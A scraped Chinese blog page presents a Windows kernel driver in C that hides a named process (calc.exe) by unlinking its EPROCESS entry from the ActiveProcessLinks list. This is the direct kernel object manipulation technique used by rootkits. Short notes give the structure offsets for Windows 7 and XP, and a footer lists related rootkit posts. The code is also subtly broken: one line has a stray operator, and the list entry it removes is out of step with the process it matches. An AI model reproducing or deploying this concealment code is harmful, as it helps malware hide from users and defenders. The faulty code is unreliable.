1. #ifndef CXX_HIDEPROCESS_H
  2. # include "HideProcess.h"
  3. #endif
  4.  
  5. #ifdef _WIN64
  6. #define ActiveProcessLinksOffset_EPROCESS 0x188
  7. #define ImageFileNameOffset_EPROCESS 0x2e0
  8. #else
  9. #define ActiveProcessLinksOffset_EPROCESS 0x088
  10. #define ImageFileNameOffset_EPROCESS 0x174
  11. #endif
  12.  
  13. NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegisterPath)
  14. {
  15.  
  16. //卸载当前驱动例程
  17. DriverObject->DriverUnload = UnloadDriver;
  18. HideProcess("calc.exe");
  19. return STATUS_SUCCESS;
  20. }
  21.  
  22. VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
  23. {
  24.  
  25. }
  26.  
  27. VOID HideProcess(char* szProcessName)
  28. {
  29.  
  30. PLIST_ENTRY ListEntry = NULL;
  31. PEPROCESS EProcess = NULL;
  32. char* szName = NULL;
  33. PEPROCESS TravelEProcess = NULL;
  34. PEPROCESS BadEProcess = NULL;
  35. EProcess = IoGetCurrentProcess(); // System.exe
  36.  
  37. if (szProcessName==NULL)
  38. {
  39. return;
  40. }
  41. if (EProcess==NULL)
  42. {
  43. return;
  44. }
  45. TravelEProcess = EProcess;
  46.  
  47. BadEProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcess+ActiveProcessLinksOffset_EPROCESS+)))-0x188);
  48.  
  49. do
  50. {
  51.  
  52. if (TravelEProcess!=BadEProcess)
  53. {
  54. szName = (char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EPROCESS); //Next
  55. DbgPrint("%s\r\n",szName);
  56.  
  57. if (strstr(szName,szProcessName)!=NULL)
  58. {
  59. RemoveEntryList(ListEntry); //
  60.  
  61. break;
  62. }
  63. }
  64.  
  65. TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS);
  66. ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS);
  67. }while (TravelEProcess!=EProcess);
  68. }

代码

使用断链操作隐藏进程

win7:

0x188 处 _LIST_ENTRY  一个16位的结构体

0x2e0处存储进程名称

winxp同理

HideProcess的更多相关文章

  1. 【windows核心编程】HideProcess

    A Basic Windows DKOM Rootkit Pt 1 https://www.landhb.me/posts/v9eRa/a-basic-windows-dkom-rootkit-pt- ...

  2. 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

    1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程 ...

  3. zzzz

    using System; using System.Collections.Generic; using System.Diagnostics; using System.Management; u ...

  4. WCF全双工数据传输

    项目结构: 客户端: using System; using System.Collections.Generic; using System.Linq; using System.Text; usi ...

  5. ----------- Rootkit 核心技术之绕过 IopParseDevice() 调用源检测逻辑 ---------------

    ---------------------------------------------------------------- 在上一篇文章中,我们已经看到 IopParseDevice() 如何对 ...

  6. Driver 01 进程隐藏

    大二时候的代码以及笔记,当时暂时记录在QQ上在,现在发出来分享一下. 为了写驱动装一大堆的软件插件啥的,还常常失败. 这里就顺带总结下SDK下载和WinDbg symbol路径设置正确WinDbg却总 ...

  7. ring0 进程隐藏实现

    最近在学习内核编程,记录一下最近的学习笔记. 原理:将当前进程从eprocess结构的链表中删除 无法被! process 0 0 看见 #include "HideProcess.h&qu ...

  8. Win64 驱动内核编程-21.DKOM隐藏和保护进程

    DKOM隐藏和保护进程 主要就是操作链表,以及修改节点内容. DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 ...

随机推荐

  1. mysql概要(十四)索引

    1.索引是对数据库数据建立目录加快了查询速度.索引分为哈希索引和二叉树索引 (大数据量转移,如果表中带有大量字段索引,进行数据导入时,建议先去掉索引导入数据再统一加入索引,减少索引计算量) 2.索引原 ...

  2. [转发] 理解 oauth 2.0

    原文: http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html oauth 的各种编程语言实现: http://oauth.net/2/ 理解OAu ...

  3. 卷积FFT、NTT、FWT

    先简短几句话说说FFT.... 多项式可用系数和点值表示,n个点可确定一个次数小于n的多项式. 多项式乘积为 f(x)*g(x),显然若已知f(x), g(x)的点值,O(n)可求得多项式乘积的点值. ...

  4. ERROR 1201 (HY000) Could not initialize master info structure

    1.错误原因:Slave线程启动出现问题.2.解决办法一:stop slave; reset slave; start slave; show slave status\G3.如果解决方法一,还是失败 ...

  5. css技术和实例

    今天,我为大家收集精选了30个使用纯CSS完成的强大实践的优秀CSS技术和实例,您将在这里发现很多与众不同的技术,比如:图片集.阴影效果.可扩展按钮.菜单等-这些实例都是使用纯CSS和HTML实现的. ...

  6. 【spring-quartz】 定时调度,时间设置

    .   CronTrigger时间格式配置说明 CronTrigger配置格式: 格式: [秒] [分] [小时] [日] [月] [周] [年] 序号 说明 是否必填 允许填写的值 允许的通配符 1 ...

  7. 【官方方法】xcode7免证书真机调试

    [官方方法]xcode7免证书真机调试 步骤比较简单,我就简单总结一下. 1. 进入xcode,菜单栏选择xcode –> preferences (快捷键 command + ,)在Accou ...

  8. android 属性

    RelativeLayout 第一类:属性值为true可false android:layout_centerHrizontal        水平居中 android:layout_centerVe ...

  9. SQL中SUBSTRING函数的用法

    功能:返回字符.二进制.文本或图像表达式的一部分 语法:SUBSTRING ( expression, start, length ) SQL 中的 substring 函数是用来抓出一个栏位资料中的 ...

  10. iOS AVAudioRecorder 录音频率、声道、位数配置 wav格式

    iOS AVAudioRecorder 录音频率.声道.位数配置 #pragma mark 录音设置 - (void)setUP_VOICE_RECOARDER { NSError *error = ...